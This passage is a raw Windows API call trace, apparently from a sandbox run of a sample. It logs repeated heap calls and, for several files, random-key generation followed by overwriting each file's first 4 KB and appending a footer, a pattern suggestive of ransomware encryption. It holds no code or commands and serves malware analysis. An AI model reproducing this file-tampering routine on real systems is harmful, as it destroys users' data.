[0087.646] GetProcessHeap () returned 0x540000 [0087.646] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.646] GetProcessHeap () returned 0x540000 [0087.646] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.646] GetProcessHeap () returned 0x540000 [0087.647] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.647] GetProcessHeap () returned 0x540000 [0087.647] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.648] GetProcessHeap () returned 0x540000 [0087.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.648] GetProcessHeap () returned 0x540000 [0087.649] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.649] GetProcessHeap () returned 0x540000 [0087.649] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.649] GetProcessHeap () returned 0x540000 [0087.649] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.649] GetProcessHeap () returned 0x540000 [0087.649] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.649] GetProcessHeap () returned 0x540000 [0087.649] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.649] GetProcessHeap () returned 0x540000 [0087.649] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.649] GetProcessHeap () returned 0x540000 [0087.649] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.649] SetFilePointerEx (in: hFile=0x990, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.649] WriteFile (in: hFile=0x990, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.649] WriteFile (in: hFile=0x990, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.649] GetProcessHeap () returned 0x540000 [0087.649] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.649] GetProcessHeap () returned 0x540000 [0087.649] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.649] GetProcessHeap () returned 0x540000 [0087.649] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.649] CloseHandle (hObject=0x990) returned 1 [0087.653] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 134 [0087.653] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.653] ReadFile (in: hFile=0x994, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.653] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.653] GetProcessHeap () returned 0x540000 [0087.653] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.653] GetProcessHeap () returned 0x540000 [0087.653] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.653] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.653] GetProcessHeap () returned 0x540000 [0087.653] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.653] ReadFile (in: hFile=0x994, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.808] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.808] WriteFile (in: hFile=0x994, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.808] GetProcessHeap () returned 0x540000 [0087.808] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.809] GetProcessHeap () returned 0x540000 [0087.809] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.809] GetProcessHeap () returned 0x540000 [0087.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.810] GetProcessHeap () returned 0x540000 [0087.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.811] GetProcessHeap () returned 0x540000 [0087.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.812] GetProcessHeap () returned 0x540000 [0087.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.812] GetProcessHeap () returned 0x540000 [0087.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.813] GetProcessHeap () returned 0x540000 [0087.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.813] GetProcessHeap () returned 0x540000 [0087.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.813] GetProcessHeap () returned 0x540000 [0087.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.813] GetProcessHeap () returned 0x540000 [0087.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.813] GetProcessHeap () returned 0x540000 [0087.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.813] GetProcessHeap () returned 0x540000 [0087.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.813] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.813] WriteFile (in: hFile=0x994, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.813] WriteFile (in: hFile=0x994, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.813] GetProcessHeap () returned 0x540000 [0087.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.813] GetProcessHeap () returned 0x540000 [0087.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.813] GetProcessHeap () returned 0x540000 [0087.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.813] CloseHandle (hObject=0x994) returned 1 [0087.816] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 135 [0087.817] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.817] ReadFile (in: hFile=0x998, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.817] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.817] GetProcessHeap () returned 0x540000 [0087.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.817] GetProcessHeap () returned 0x540000 [0087.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.817] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.817] GetProcessHeap () returned 0x540000 [0087.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.817] ReadFile (in: hFile=0x998, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.886] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.886] WriteFile (in: hFile=0x998, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.886] GetProcessHeap () returned 0x540000 [0087.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.886] GetProcessHeap () returned 0x540000 [0087.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.886] GetProcessHeap () returned 0x540000 [0087.886] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.886] GetProcessHeap () returned 0x540000 [0087.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.886] GetProcessHeap () returned 0x540000 [0087.886] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.886] GetProcessHeap () returned 0x540000 [0087.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.886] GetProcessHeap () returned 0x540000 [0087.886] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.886] GetProcessHeap () returned 0x540000 [0087.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] HeapFree (in: hHeap=0x540000, 